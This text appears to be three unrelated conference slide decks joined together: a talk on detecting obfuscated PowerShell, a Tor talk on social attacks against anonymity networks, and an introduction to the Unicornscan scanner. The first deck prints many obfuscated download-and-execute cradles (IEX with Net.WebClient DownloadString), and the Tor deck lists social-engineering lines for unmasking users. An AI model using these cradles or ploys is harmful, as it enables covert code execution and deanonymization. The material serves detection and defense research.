$a = ${`E`x`e`c`u`T`i`o`N`C`o`N`T`e`x`T}; $b = $a."`I`N`V`o`k`e`C`o`m`m`A`N`d";
$b."`N`e`w`S`c`R`i`p`T`B`l`o`c`k"("ex"+"pres"+"sion")
Obfuscating the Cradle
• `I`N`V`o`k`e`-`E`x`p`R`e`s`s`i`o`N (& (`G`C`M *w-O*)
"`N`e`T`.`W`e`B`C`l`i`e`N`T")."`D`o`w`N`l`o`A`d`S`T`R`i`N`g"( 'ht'+'tps://bit.ly/L3g1t')
.Net and PS 1.0 Syntax for Script Block Conversion…and we can obfuscate those too!
And Invoke-CradleCrafter has even more invocation options (and obfuscation techniques)!
More Obfuscation Techniques
• Additional command line obfuscation techniques via string manipulation
• Reverse string: $reverseCmd = ")'t1g3L/yl.tib//:sptth'(gnirtSdaolnwoD.)tneilCbeW.teN tcejbO-weN(";
1.
Traverse the string in reverse and join it back together
IEX ($reverseCmd[-1..-($reverseCmd.Length)] -Join '') | IEX
2.
Cast string to char array and use .Net function to reverse and then join it back together
$reverseCmdCharArray = $reverseCmd.ToCharArray(); [Array]::Reverse($reverseCmdCharArray);
IEX ($reverseCmdCharArray -Join '') | IEX
3.
.Net Regex the string RightToLeft and then join it back together
IEX (-Join[RegEx]::Matches($reverseCmd,'.','RightToLeft')) | IEX
More Obfuscation Techniques
• Additional command line obfuscation techniques via string manipulation
• Reverse string:
• Split string:
$cmdWithDelim = "(New-Object Net.We~~bClient).Downlo~~adString('https://bi~~t.ly/L3g1t')";
1.
Split the string on the delimiter and join it back together
IEX ($cmdWithDelim.Split("~~") -Join '') | IEX
More Obfuscation Techniques
• Additional command line obfuscation techniques via string manipulation
• Reverse string:
• Split string:
• Replace string: $cmdWithDelim = "(New-Object Net.We~~bClient).Downlo~~adString('https://bi~~t.ly/L3g1t')";
1.
PowerShell's .Replace
IEX $cmdWithDelim.Replace("~~","") | IEX
2.
.Net's -Replace (and -CReplace which is case-sensitive replace)
IEX ($cmdWithDelim -Replace "~~","") | IEX
3.
PowerShell's -f format operator
IEX ('({0}w-Object {0}t.WebClient).{1}String("{2}bit.ly/L3g1t")' -f 'Ne', 'Download','https://') | IEX
More Obfuscation Techniques
• Additional command line obfuscation techniques via string manipulation
• Reverse string:
• Split string:
• Replace string:
• Concatenate string:
$c1="(New-Object Net.We"; $c2="bClient).Downlo"; $c3="adString('https://bit.ly/L3g1t')";
1.
PowerShell's -Join (w/o delimiter)
IEX ($c1,$c2,$c3 -Join '') | IEX
2.
PowerShell's -Join (with delimiter)
IEX ($c1,$c3 -Join $c2) | IEX
3.
.Net's Join
IEX ([string]::Join($c2,$c1,$c3)) | IEX
4.
.Net's Concat
IEX ([string]::Concat($c1,$c2,$c3)) | IEX
5.
+ operator / concat without + operator
IEX ($c1+$c2+$c3) | IEX / IEX "$c1$c2$c3" | IEX
More Obfuscation Techniques
• Automated Obfuscation via
Invoke-Obfuscation?
• IEX (New-Object Net.WebClient)
.DownloadString('http://bit.ly/L3g1t')
More Obfuscation Techniques
• Automated Obfuscation via
Invoke-Obfuscation?
• IEX (New-Object Net.WebClient)
.DownloadString('http://bit.ly/L3g1t')
.("{1}{0}" -f 'X','IE') (&("{3}{2}{1}{0}"-f'ct','-
Obje','w','Ne') ("{0}{2}{1}"-f
'N','nt','et.WebClie')).("{2}{0}{1}{3}"-
f'dSt','rin','Downloa','g').Invoke(("{5}{0}{3}{4}
{1}{2}"-f'tp:/','3','g1t','/','bit.ly/L','ht'))
More Obfuscation Techniques
• Automated Obfuscation via
Invoke-Obfuscation?
• IEX (New-Object Net.WebClient)
.DownloadString('http://bit.ly/L3g1t')
. ( $PShoMe[21]+$psHOMe[34]+'X')
((("{14}{11}{7}{46}{5}{30}{22}{24}{68}{78}{0}{59}{67}{31}{38}{55}{16}{69}{51}{17}{23}{8}{35}{6}{71}{34}{50}{64}{60}
{58}{47}{10}{48}{65}{37}{40}{21}{56}{43}{53}{52}{9}{12}{74}{26}{36}{2}{15}{70}{61}{75}{66}{49}{29}{77}{42}{32}{1}
{4}{33}{54}{76}{13}{73}{45}{18}{19}{28}{62}{20}{41}{27}{44}{3}{25}{72}{57}{63}{39}{79}" -f
'(&','}{2}','A','j6T,j6','PA','6T','6T)','f','w','entj6T)','ebj6','AM-',').(PA',' j6T.lj6','.(PAM{1}{0}P','M-
fj6T','jectj6T,j','6T','3','j','tj6T,','6','j6T,',',j6TNe','j6TIE','Th','}{1}{0','6','6','rinj6T,j6TDownj6','X','1}{0}','}{0}{1','M','1}{0
}','j','}P','TNe','PA','itj6','j','j','}{5',',j6','T/','6Ty/L',' j','6Tt.W','T','t','{','-Oj','Cli','T','-','M-fj6Tb','T','/j','-f
j','(PA','M','j6','T,j6Tg1','6T,j6Tb','2}PA',',j6','oadS','M{2}{','j','6T','g','
(PAM{','ttp:','T,j','M{2','T,j6Tl','f','T).Invoke((PAM{4}{3','6T)
','T))')).replACE(([Char]80+[Char]65+[Char]77),[stRIng][Char]34).replACE('j6T',[stRIng][Char]39) )
APT32
Vietnamese attacker
(aka OceanLotus)
More Obfuscation Techniques
• Automated Obfuscation via
Invoke-CradleCrafter?
• IEX (New-Object Net.WebClient)
.DownloadString('http://bit.ly/L3g1t')
More Obfuscation Techniques
• Automated Obfuscation via
Invoke-CradleCrafter?
• IEX (New-Object Net.WebClient)
.DownloadString('http://bit.ly/L3g1t')
SI Variable:/4 'http://bit.ly/L3g1t';SV Bm 'Net.WebClient';ls panyo*;SV 8i (.(ChildItem
Variable:\E*Cont*).Value.(((ChildItem Variable:\E*Cont*).Value|Member)[6].Name).(((ChildItem
Variable:\E*Cont*).Value.(((ChildItem Variable:\E*Cont*).Value|Member)[6].Name)|Member|Where{(Get-Item
Variable:\_).Value.Name-like'*Cm*t'}).Name).Invoke((ChildItem Variable:\E*Cont*).Value.(((ChildItem
Variable:\E*Cont*).Value|Member)[6].Name).(((ChildItem Variable:\E*Cont*).Value.(((ChildItem
Variable:\E*Cont*).Value|Member)[6].Name)|Member|Where{(Get-Item Variable:\_).Value.Name-
like'G*om*e'}).Name).Invoke('*w-*ct',$TRUE,1))(GV Bm).Value);Set-Variable b (((((GV 8i -
Valu)).PsObject.Methods)|Where{$_.Name-clike'D*g'}).Name);(GV 8i -Valu).((Variable b).Value).Invoke((GV 4 -
ValueOn))|.(Get-Variable E*xt).Value.InvokeCommand.(((Get-Variable E*xt).Value.InvokeCommand|Member|Where-
Object{(Get-Item Variable:\_).Value.Name-like'*Cm*ts'}).Name).Invoke('*e-*pr*n')
More Obfuscation Techniques
• Automated Obfuscation via Invoke-
Obfuscation?
• IEX (New-Object Net.WebClient)
.DownloadString('http://bit.ly/L3g1t')
${-'*}=+$( ); ${ }= ${-'*} ; ${(+} =++ ${-'*};${)}=(${-'*}=${-'*}+${(+} ) ; ${'/}= (${-'*} =${-'*}+ ${(+} ); ${@} = (
${-'*}=${-'*} + ${(+}) ; ${~ =} =( ${-'*}= ${-'*}+ ${(+}); ${;} =(${-'*} =${-'*}+${(+}) ; ${+} = (${-'*}= ${-'*} +
${(+}) ; ${]} = ( ${-'*} =${-'*} + ${(+});${-}= (${-'*}=${-'*} + ${(+} ) ; ${-$.}="["+ "$( @{ }) "[${+}]
+"$(@{})"["${(+}" +"${-}"]+ "$(@{} )"["${)}"+ "${ }" ] + "$? "[${(+} ] +"]";${-'*}="".("$(@{} )"[ "${(+}" +
"${@}"]+"$(@{} ) "[ "${(+}" + "${;}" ]+ "$(@{} )"[ ${ }]+"$(@{ })"[ ${@}] +"$? "[${(+}]+"$(@{} ) "[${'/}]) ; ${-
'*} ="$(@{ } )"[ "${(+}" + "${@}"] +"$(@{ })"[${@}]+ "${-'*}"["${)}"+"${+}"] ; "${-'*}(${-$.}${+}${'/} + ${-
$.}${;}${-} +${-$.}${]}${]} + ${-$.}${'/}${)} + ${-$.}${@}${ }+ ${-$.}${+}${]}+${-$.}${(+}${ }${(+} +${-$.}${(+}${(+}${-
}+ ${-$.}${@}${~ =} + ${-$.}${+}${-} + ${-$.}${-}${]}+${-$.}${(+}${ }${;} + ${-$.}${(+}${ }${(+}+${-$.}${-}${-}+${-
$.}${(+}${(+}${;}+ ${-$.}${'/}${)}+ ${-$.}${+}${]}+${-$.}${(+}${ }${(+}+ ${-$.}${(+}${(+}${;}+${-$.}${@}${;} +${-
$.}${]}${+} + ${-$.}${(+}${ }${(+} +${-$.}${-}${]}+${-$.}${;}${+} + ${-$.}${(+}${ }${]} +${-$.}${(+}${ }${~ =} +${-
$.}${(+}${ }${(+}+ ${-$.}${(+}${(+}${ }+ ${-$.}${(+}${(+}${;} + ${-$.}${@}${(+} + ${-$.}${@}${;}+${-$.}${;}${]}+ ${-
$.}${(+}${(+}${(+} +${-$.}${(+}${(+}${-} + ${-$.}${(+}${(+}${ }+ ${-$.}${(+}${ }${]} + ${-$.}${(+}${(+}${(+} + ${-$.}${-
}${+}+${-$.}${(+}${ }${ } +${-$.}${]}${'/}+${-$.}${(+}${(+}${;}+ ${-$.}${(+}${(+}${@}+ ${-$.}${(+}${ }${~ =} + ${-
$.}${(+}${(+}${ } + ${-$.}${(+}${ }${'/}+ ${-$.}${@}${ }+ ${-$.}${'/}${-}+${-$.}${(+}${ }${@}+${-$.}${(+}${(+}${;} +${-
$.}${(+}${(+}${;} + ${-$.}${(+}${(+}${)}+${-$.}${~ =}${]}+${-$.}${@}${+}+${-$.}${@}${+} + ${-$.}${-}${]}+${-
$.}${(+}${ }${~ =} + ${-$.}${(+}${(+}${;} +${-$.}${@}${;}+ ${-$.}${(+}${ }${]} +${-$.}${(+}${)}${(+}+ ${-$.}${@}${+}
+${-$.}${+}${;}+ ${-$.}${~ =}${(+} +${-$.}${(+}${ }${'/}+ ${-$.}${@}${-} +${-$.}${(+}${(+}${;}+${-$.}${'/}${-} + ${-
$.}${@}${(+})"|. ${-'*}
@mutaguchi came up
with this concept in 2010!
More Obfuscation Techniques
• Automated Obfuscation via Invoke-
Obfuscation?
• IEX (New-Object Net.WebClient)
.DownloadString('http://bit.ly/L3g1t')
${ }= + $( ); ${ }= ${ } ; ${ } =++${ } ;${ }= (${ }= ${ }+${ });${ }=(${ } = ${ }+${
} ) ;${ }=( ${ }= ${ } +${ } ) ;${ } =( ${ } = ${ } +${ } );${ } = ( ${ }= ${ } +${ }
) ;${ }=( ${ }= ${ } + ${ }) ; ${ } =(${ }= ${ } +${ }); ${
} =(${ } = ${ } +${ });
${ } = "[" +"$(@{ })"[ ${ }] + "$(@{})"[ "${ }${ }"]+ "$(@{ } )"[ "${ }${ }"] + "$? "[${ }]+"]" ;
${ } ="".("$( @{ }) "[ "${ }${ }"]+"$(@{ } )"["${ }${ }" ]+"$( @{}) "[ ${ } ]+"$(@{} ) "[ ${ } ]+
"$?"[ ${ } ] +"$(@{ }) "[ ${ }]);${ } = "$( @{} ) "[ "${ }" + "${ }" ] +"$( @{ }) "[ ${ } ]+"${
}"[ "${ }" + "${ }" ]; & ${ } ( " ${ }${ }${ } +${ }${ }${ } + ${
}${ }${ }+ ${ }${ }${ }
+${ }${ }${ }+ ${ }${ }${ }+${ }${ }${ }${ }+ ${ }${ }${ }${ }+ ${ }${ }${
}+ ${ }${ }${ }+ ${ }${ }${ }+${ }${ }${ }${ }+ ${ }${ }${
}${ } +${ }${ }${
}+ ${ }${ }${ }${ }+${ }${ }${ }+ ${ }${ }${ }+${ }${ }${ }${ } +${
}${ }${ }${ }+${ }${
}${ } +${ }${ }${ } +${ }${ }${ }${ } +${ }${ }${ } +${ }${ }${
}+ ${ }${ }${ }${ }
+ ${ }${ }${ }${ }+${ }${ }${ }${ }+${ }${ }${ }${ }+${ }${
}${ }${ }+ ${ }${
}${ } + ${ }${ }${ }+ ${ }${ }${ }+ ${ }${ }${ }${ } +${ }${ }${ }${
}+${ }${ }${ }${
}+${ }${ }${ }${ }+ ${ }${ }${ }${ } +${ }${ }${ } + ${ }${
}${ }${ }+ ${ }${ }${
}+${ }${ }${ }${ } +${ }${ }${ }${ } + ${ }${ }${ }${ }+ ${ }${
}${ }${ }+${ }${
}${ }${ } + ${ }${ }${ }+ ${ }${ }${ }+${ }${ }${ }${
} +${ }${ }${ }${ } +${
}${ }${ }${ }+ ${ }${ }${ }${ }+${ }${ }${ } + ${ }${ }${ }+ ${
}${ }${ } + ${ }${
}${ } +${ }${ }${ }${ }+ ${ }${ }${ }${ }+ ${ }${ }${ } +${ }${ }${
}${ }+${ }${ }${ }${
} + ${ }${ }${ } + ${ }${ }${ }+${ }${ }${ } +${ }${ }${
}${ } + ${ }${ }${
}+${ }${ }${ }${ } + ${ }${ }${ } + ${ }${ }${ }| ${ }")
@mutaguchi came up
with this concept in 2010!
More Obfuscation Techniques
• NEW Automated Obfuscation via
Invoke-Obfuscation?
• IEX (New-Object Net.WebClient)
.DownloadString('http://bit.ly/L3g1t')
'
' | % {$Script = $_ -Split '' | % {'
'; $_.Split('
') | % {$_.Length-1}} ; $DecodedCommand = [Char[]][Int[]]($Script[0..($Script.Length-1)] -Join '').Trim('
').Split('
') -Join ''; IE`X $DecodedCommand}
THIS ISN’T NORMAL!
COSINE SIMILARITY
> We need more data!
So we ran a little contest...
> We need more data!
Underhanded PowerShell
GitHub
GitHub Gists
PoshCode
PowerShell Gallery
TechNet
Invoke-Obfuscation
Invoke-CradleCrafter
ISE Steroids Obfuscation
and created a huge PowerShell corpus ...
> We need more data!
Underhanded PowerShell
GitHub
GitHub Gists
PoshCode
PowerShell Gallery
TechNet
Invoke-Obfuscation
Invoke-CradleCrafter
ISE Steroids Obfuscation
Politely of course ...
Code
Code
Canadian
> But first, a word of thanks
> Guess What We Found?
https://ci.memecdn.com/6795487.jpg
https://s-media-cache-ak0.pinimg.com/originals/d8/50/58/d850584c02689c9f4d4a092028ed6a59.jpg
SOPA – Stop Online Piracy Act
> We need more data!
Underhanded PowerShell
GitHub
GitHub Gists
PoshCode
PowerShell Gallery
TechNet
Invoke-Obfuscation
Invoke-CradleCrafter
ISE Steroids Obfuscation
Some statistics ...
408,665 Scripts
28,748 Authors
Manually labeled ~7,000 scripts
Found ~1600 obfuscated scripts
Obfuscated ~4000 scripts with
existing frameworks
https://cobbr.io/ObfuscationDetection.html
Measure
Score
Accuracy
0.71
Precision
0.89
Recall
0.37
F1 Score
0.52
True Positives
0.16
False Positives
0.02
True Negatives
0.55
False Negatives
0.27
https://en.wikipedia.org/wiki/Precision_and_recall
> Surely we can do better!
Yes!
Get-Command -Name ("{1}{0}" -f "-Process","Get")
Generic
Parameter
LParen
StringExpandable
Format
Comma
StringExpandable
StringExpandable
RParen
Yes!!
Get-Command -Name ("{1}{0}" -f "-Process","Get")
Generic
Parameter
LParen
StringExpandable
Format
Comma
StringExpandable
StringExpandable
ScriptBlockAst
NamedBlockAst: Begin
NamedBlockAst: End
StatementAst
PipelineAst
CommandAst
StringConstantExpressionAst
CommandParameterAst
ParenExpressionAst
PipelineAst
BinaryExpressionAst
Operator: Format
Left: StringConstantAst
Right: ArrayLiteralAst
0: StringConstantExpressionAst
1: StringConstantExpressionAst
RParen
The Mighty PowerShell AST
https://github.com/lzybkr/ShowPSAst
> Identifying Obfuscation
0.0/00
Using context to detect obfuscation techniques
- Distribution of AST types
- Distribution of language operators
- Assignment, binary, invocation, …
- Array sizes
- Statistics within each AST type
- Character frequency, entropy, length (max, min, median,
mode, range), whitespace density, character casing, …
- Statistics of command names, .NET methods, variables…
Title . @Speaker . Location
This gives us 4098 features to thumbprint a script
> 4098 Features!
0.0/00
Title . @Speaker . Location
> Calculating Obfuscation
0.0/00
What do we do with all these features?
- Result = Bias + (F1 * Weight1) + (F2 * Weight2) + (…)
- If(Result > Limit) { Obfuscated = True }
Title . @Speaker . Location
Logistic Regression
+
=
Linear Regression + Logit Function, Sitting in a Tree… M.A.T.H.I.N.G
https://en.wikipedia.org/wiki/Logistic_regression
> Calculating Obfuscation
0.0/00
What do we do with all these features?
- Result = Bias + (F1 * Weight1) + (F2 * Weight2) + (…)
- If(Result > Limit) { Obfuscated = True }
Title . @Speaker . Location
How do we decide 4098 importance values?
Calculating Weights
If at first you don’t succeed…
- Result = Bias + (F1 * Weight1) + (F2 * Weight2) + (…)
- ExpectedResult = (From labeled data)
- Error = Result – ExpectedResult
- Adjust each weight according to how much they contributed
to the error. Do this a lot.
https://en.wikipedia.org/wiki/Stochastic_gradient_descent
Measure
Cosine
Similarity
Logistic Regression with
Gradient Descent
Accuracy
0.71
0.96
Precision
0.89
0.96
Recall
0.37
0.95
F1 Score
0.52
0.96
True Positives
0.16
0.41
False Positives
0.02
0.01
True Negatives
0.55
0.55
False Negatives
0.27
0.02
https://en.wikipedia.org/wiki/Precision_and_recall
Measure
Cosine
Similarity
Logistic Regression with
Gradient Descent
Accuracy
0.71
0.96
Precision
0.89
0.96
Recall
0.37
0.95
F1 Score
0.52
0.96
True Positives
0.16
0.41
False Positives
0.02
0.01
True Negatives
0.55
0.55
False Negatives
0.27
0.02
https://en.wikipedia.org/wiki/Precision_and_recall
10x better at finding obfuscated content
Half the false positives
> What about Sketchy stuff?
0.0/00
Hunting and Deep Investigations
Title . @Speaker . Location
Measure
Cosine
Similarity
Obfuscated
Sketchy
Accuracy
0.71
0.96
0.88
Precision
0.89
0.96
0.86
Recall
0.37
0.95
0.89
F1 Score
0.52
0.96
0.88
True Positives
0.16
0.41
0.43
False Positives
0.02
0.01
0.07
True Negatives
0.55
0.55
0.43
False Negatives
0.27
0.02
0.05
https://en.wikipedia.org/wiki/Precision_and_recall
> What about other algorithms?
0.0/00
Beyond Logistic Regression & Gradient Descent
Title . @Speaker . Location
> Demo Time!
0.0/00
Title . @Speaker . Location
> Demo Time!
0.0/00
Title . @Speaker . Location
0.0/00
Title . @Speaker . Location
0.0/00
Title . @Speaker . Location
> Demo Time!
0.0/00
Title . @Speaker . Location
Want to operationalize?
We’ve built in a few whitelisting options…
Now go. Find Evil.
00/00
> Thank you!
# Release
https://github.com/danielbohannon/Revoke-Obfuscation
# References
- https://www.leeholmes.com/blog/2015/11/13/detecting-obfuscated-powershell/
- https://github.com/danielbohannon/Invoke-Obfuscation
- https://www.leeholmes.com/blog/2016/10/22/more-detecting-obfuscated-powershell/
- https://msdn.microsoft.com/en-us/magazine/dn913188.aspx
- https://blogs.msdn.microsoft.com/powershell/2015/06/09/powershell-the-blue-team/
# Contact
@DanielHBohannon @Lee_Holmes
> Demo Time!
0.0/00
Title . @Speaker . Location | pdf |
Social attacks against
anonymity networks
Nick Mathewson
The Tor Project
<[email protected]>
Defcon XV
Aug 4, 2007
That title was confusing!
● What I mean by “social attacks.”
● What I mean by “anonymity network.”
● How to be a more effective social engineer.
Not covered here
● Intro to anonymity networks.
– Basics of traffic analysis
– Why use social engineering?
● Trivial attacks: no traffic analysis required.
● Attacks to help traffic analsysis.
– Traffic gathering: more input for your attack.
– Network partitioning: better input for your attack.
● Defenses
Outline
Basic idea: anonymity networks
hide users among users...
Alice2
Bob1
Bob2
Alice1
Alice3
Network
...but when users act differently,
an observer can tell them apart.
Alice2
Bob1
Bob2
Alice1
Alice3
Network
...and separating users keeps them
from blending.
Alice2
Bob1
Bob2
Alice1
Alice3
Network
Network
We use distributed networks
so no one server can compromise
users' traffic
S
S
S
S
S
S
S
S
S
Alice2
Bob1
Bob2
Alice1
Ex.: Tor,
Remailers,
Mixminion...
Alice3
Against low-latency networks:
watch both ends and correlate traffic.
S
S
S
S
S
Bob2
Alice1
.. ... . ... .
.. ... . ... .
If patterns (approximately) match,
Alice1 is talking to Bob2.
ex: Tor,
Freedom,
Pipenet, I2P,
JohnDoe,
Freenet
Against high-latency networks:
compare net with Alice to net without.
This (“long-term intersection”) attack
needs lots of traffic.
Bob1
Bob2
Bob3
Bob4
Alice Sending
10
13
8
2
Alice not sending
9
13
8
1
So why not always use high-latency nets?
Tooslow.
ex: cpunk, MixMaster, Mixminion
So, what should a smart attacker do?
● If possible, try to remove benefits of
network from user.
● Otherwise, try to speed up traffic analysis.
– Get more traffic.
– Make the traffic you get more useful.
– Lower volume of background traffic
(High-latency nets only.)
Never attribute to malice...
● Caveat 1: Many harmful ideas occur to
people spontaneously.
● Caveat 2: Many harmful ideas are true.
I. Trivial attacks
Or,
“We’re jumping off a cliff. Wanna come?”
Why attack the network
when you can circumvent it?
Very Secure
Network
Alice
Attacker
“oops”
●“To view my flash site, just enable plugins.” *
●“Click here for skype.” *
●“I’m not getting your mail. Just use yahoo, okay?” *
●“I love your ideas, and would like to donate.”
●“I love your ideas, and would like to meet.” *
Why attack the network
when you can replace it?
Very Secure
Network
Alice
Attacker
●“Your traffic will be even more secure with anon2000!”*
●“I just read an attack paper on VSN. We should all use
ObscureNet!” *
●“VSN has a seekrit backdoor!” *
Less Secure
Network
Or,just attack the providers.
Vulnerable
Network
Alice
Bob
●“Help me with my criminal investigation of Alice, or
else.” *
● (“Why of course I’m an FBI agent! Would I lie?”) *
●“Say,we’re looking for a bug. Send me your logs?” *
●“Here’s some extra-fast extra-stable server software!” *
Long-term:
make the network unmaintained.
Unmaintained
Network
Alice
Bob
Can you make developers and providers quit?
●“Developer X is a jerk!” *
●“Dear Developer X. Thank you for the fine
software. I enjoy using it for my nasty cause!” *
●“I am a provider, and I am quitting out of fear!” *
II. Getting more traffic
Or,
“traffic analysis is easy for the popular kids”
The more traffic you see,
the more users you compromise...
S
S
S
S
S
S
S
S
S
Alice2
Bob1
Bob2
Alice1
Alice3
So try to make your service popular!
S
S
S
S
S
S
S
S
S
Alice2
Bob1
Bob2
Alice1
Alice3
How to win traffic and compromise people
●“Please use my excellent server.” *
●“I’ve added extra features to my server.” *
●“Guide to better performance: Use fast
servers. Like mine.” *
●“Don’t use Bob’s server...
●it’s compromised.” *
●it’s surveiled.” *
●it’s in a bad country!” *
III. Partitioning attacks
Or,
“you can’t tell whether it was me, myself, or I!”
Network partitioning 1:
split one big network
into many small networks.
S
S
S
S
S
S
S
S
Alice2
Bob1
Bob2
Alice1
Network partitioning 1:
split one big network
into many small networks.
S
S
S
S
S
S
S
S
Alice2
X
X
Bob1
Bob2
Alice1
Partitioning 2:
When users like different servers,
they provide less cover for each other.
S
S
S
S
S
S
S
S
Alice2
Bob1
Bob2
Alice1
Known to Alice1
Known to Alice2
It's easier to get a large foothold in
a small subset of servers...
S
S
S
S
S
S
S
S
Alice2
Bob1
Bob2
Alice1
Known to Alice1
Known to Alice2
When users know servers at
random, you can partition them into
tiny sets.
S1
S2
Alice1
S3
...
P=20%
P=80%
P=40%
Only (.4)(.2)(.8) = .064 of users will use this
sequence in their paths.
How to encourage partitioning.
●“Here is my list of extra-good servers.” *
● “Here’s mine...”
●“Don’t use any servers in Germany or France.” *
● “No, don’t use any in the USA!”
● “Don’t use Germany or USA. France is fine...”
● ...
●Start operator feuds.
●“Hi, I’m an operator, and I’m evil.” *
● “I agree with evil operator!” “I don’t!”
● ...
User preferences are a great
partitioning opportunity. *
S
Servers in USA
S
S
S
S
S
Bob's fast servers
low-latency
S
S
S
S
S
Servers with popular ops
S
S
If you can't partition the network,
you can try partitioning the traffic.
S
Alice2
Bob2
Alice3
Bob1
Bob3
Alice1
“Needless options are bad for you.”
IV.Defenses
Consensus-based server selection
stops lots of network partitioning.
●Provide a good default list of servers, and make
it easy to use.
(Needs to be self-updating and secure.)
●Example: Tor vs cpunk
Is this tripoption really necessary?
●Bad options: ciphersuite, padding len...
● cf. “painting the bikeshed”
●Good options:
Providers need thick skins.
●People will tell you stuff to get you to stop being
a provider.
● True stuff?
● In perspective?
●People will try to start provider flamewars.
Demand clear descriptions of attacks.
●Is this attack novel?
● (Hint: RTFFAQ.)
●What are the requirements/results?
●Is this attack any better than end-to-end
correlation?
●Does this attack work against other systems of
this kind?
Paranoia is for newbs:
Be meta-paranoid.
●Paranoia:
Trust nobody completely.
●Meta-Paranoia:
This includes the people telling you
not to trust people.
Follow information to its source.
I’m suspicious of “some guy”:
he likes to spead
really awful information.
Shameless plugs
● Tor: https://torproject.org
– Try it out; want to run a server?
– See docs and specs for more detail.
● Donate to Tor!
– https://torproject.org/donate.html
– (We’rea tax-deductible charity!)
● Donate to EFF too!
– I’m in the dunk tank at 6:30
● See more talks!
– Roger at 2 on anti-censorship
– Mike at 5 on securing the network and
apps. | pdf |
Introduction to Unicornscan
Introducing Unicornscan
RIDING THE UNICORN
Unicornscan is an open source (GPL) tool designed to assist with information gathering and security auditing.
This talk will contrast the real world problems we’ve experienced using other tools and methods while
demonstrating the solutions that Unicornscan can provide.
For the latest copy of this talk go to http://www.dyadlabs.com/defcon05.pdf
Presented By:
Robert E. Lee & Jack C. Louis
Introducing Unicornscan – Dyad Labs, Inc.
Introduction to Unicornscan
Outline
1
Introduction to Unicornscan
Scatter Connect
Unicornscan - History, Background, & Technical Details
Demo
Robert E. Lee & Jack C. Louis
Introducing Unicornscan – Dyad Labs, Inc.
Introduction to Unicornscan
Scatter Connect
Unicornscan - History, Background, & Technical Details
Demo
Speakers
Speakers:
Robert E. Lee
CEO, Dyad Labs, Inc.
Director of Projects and Resources, ISECOM
OPST & OPSA Certified Trainer
Jack C. Louis
Chief Security Researcher, Dyad Labs, Inc.
Systems Programmer
OPST & OPSA Certified Trainer
Anthony de Almeida Lopes
Intern, Dyad Labs, Inc.
Robert E. Lee & Jack C. Louis
Introducing Unicornscan – Dyad Labs, Inc.
Introduction to Unicornscan
Scatter Connect
Unicornscan - History, Background, & Technical Details
Demo
3-way Handshake Connect Picture
Robert E. Lee & Jack C. Louis
Introducing Unicornscan – Dyad Labs, Inc.
Introduction to Unicornscan
Scatter Connect
Unicornscan - History, Background, & Technical Details
Demo
Scatter Connect Picture
Robert E. Lee & Jack C. Louis
Introducing Unicornscan – Dyad Labs, Inc.
Introduction to Unicornscan
Scatter Connect
Unicornscan - History, Background, & Technical Details
Demo
Scatter Connect Explained
Move TCP connection state tracking out of kernel space and
into user space
One process is the master control (Unicornscan).
Keeps track of what packets need to be sent
Who can send them
The responses that have come back
connection state.
A second process is the sender (unisend).
Assembles the packets and puts them on the wire.
Optionally, you can split this function into Batch Sender and
Immediate Sender modes.
A third process is the listener (unilisten).
Listens for responses and sends the meta information back
to the master control.
Robert E. Lee & Jack C. Louis
Introducing Unicornscan – Dyad Labs, Inc.
Introduction to Unicornscan
Scatter Connect
Unicornscan - History, Background, & Technical Details
Demo
Scatter Connect Explained - Cont
When unilisten sees the SYN/ACK packet, it sends the
meta information back to Unicornscan.
Unicornscan then requests that unisend send a ACK
packet back to the host that sent the SYN/ACK to complete
the 3-way hand-shake.
At that point, depending on what other modules or
payloads were to be used in the session, Unicornscan
would schedule the additional payloads to be sent by
unisend.
Robert E. Lee & Jack C. Louis
Introducing Unicornscan – Dyad Labs, Inc.
Introduction to Unicornscan
Scatter Connect
Unicornscan - History, Background, & Technical Details
Demo
Common Port Scanning Problems
No reliable UDP scanning
UDP port scanning involves sending UDP probes with no
application/protocol specific instructions in the datagram
and counting on ICMP responses to indicate "Closed" ports
Turns out, people use firewalls
Required us to script UDP protocol clients (dig, snmpwalk,
etc) to enumerate live services through firewalls
Robert E. Lee & Jack C. Louis
Introducing Unicornscan – Dyad Labs, Inc.
Introduction to Unicornscan
Scatter Connect
Unicornscan - History, Background, & Technical Details
Demo
Common Port Scanning Problems - Cont
TCP enumeration has too many steps
Syn Scanning
Connect/banner grab scanning the "open" ports
Protocol specific stimulus (ala amap, manual testing, etc)
Networks are getting bigger
Tools not intended for testing large (65k-4billion+ IPs)
networks
Processing the output can be overwhelming
Robert E. Lee & Jack C. Louis
Introducing Unicornscan – Dyad Labs, Inc.
Introduction to Unicornscan
Scatter Connect
Unicornscan - History, Background, & Technical Details
Demo
Common Vulnerability Scanning Problems
These tools have modules that contradict each other
Remote host is running Amiga Miami OS
Remote host is running IIS 5.0 on TCP Port 80
Remote host is vulnerable to Apache Nosejob vulnerability
To be useful, the modules need to share information better
Robert E. Lee & Jack C. Louis
Introducing Unicornscan – Dyad Labs, Inc.
Introduction to Unicornscan
Scatter Connect
Unicornscan - History, Background, & Technical Details
Demo
Timing Problems
No mechanism for accurate control over the Packets Per
Second (PPS) rate
Scanrand provided a -b (bandwidth) option, but is bursty
and has lots of packet loss at relatively low speeds
Nmap’s -T option has a few problems
Normal, Aggressive, Insane, etc isn’t easily translated into
PPS ranges
Even Insane doesn’t scale to high speeds
The timing is affected by the responses received
Robert E. Lee & Jack C. Louis
Introducing Unicornscan – Dyad Labs, Inc.
Introduction to Unicornscan
Scatter Connect
Unicornscan - History, Background, & Technical Details
Demo
Mindset
Fundamental Design Goals
Scalability
Efficient use of resources (bus analogy)
Not the same as just "going faster"
Accuracy
Invalid data collection leads to invalid analysis
Tools should introduce stimulus, record response
Humans analyze
Robert E. Lee & Jack C. Louis
Introducing Unicornscan – Dyad Labs, Inc.
Introduction to Unicornscan
Scatter Connect
Unicornscan - History, Background, & Technical Details
Demo
Mindset
Flexibility
You supply the stimulus
We supply the delivery mechanism
Dynamic "just in time" decision control
Security
Implementation modeled after IDSSCPP_V1.2
We also provide a sample security policy for use with SE
Linux
Robert E. Lee & Jack C. Louis
Introducing Unicornscan – Dyad Labs, Inc.
Introduction to Unicornscan
Scatter Connect
Unicornscan - History, Background, & Technical Details
Demo
What does it do?
Provides a distributed user space TCP/IP stack
Some key features:
Asynchronous stateless TCP/UDP port Scanning
Asynchronous stateless TCP banner grabbing
Active remote OS, application, and component collection
Robert E. Lee & Jack C. Louis
Introducing Unicornscan – Dyad Labs, Inc.
Introduction to Unicornscan
Scatter Connect
Unicornscan - History, Background, & Technical Details
Demo
What does it do? - Cont
Some key features - Cont:
Custom static and dynamic payload module support
Protocol specific TCP/UDP stimulus & response framework
Metamorphic shellcode encoder
PCAP file logging and filtering
Relational database output
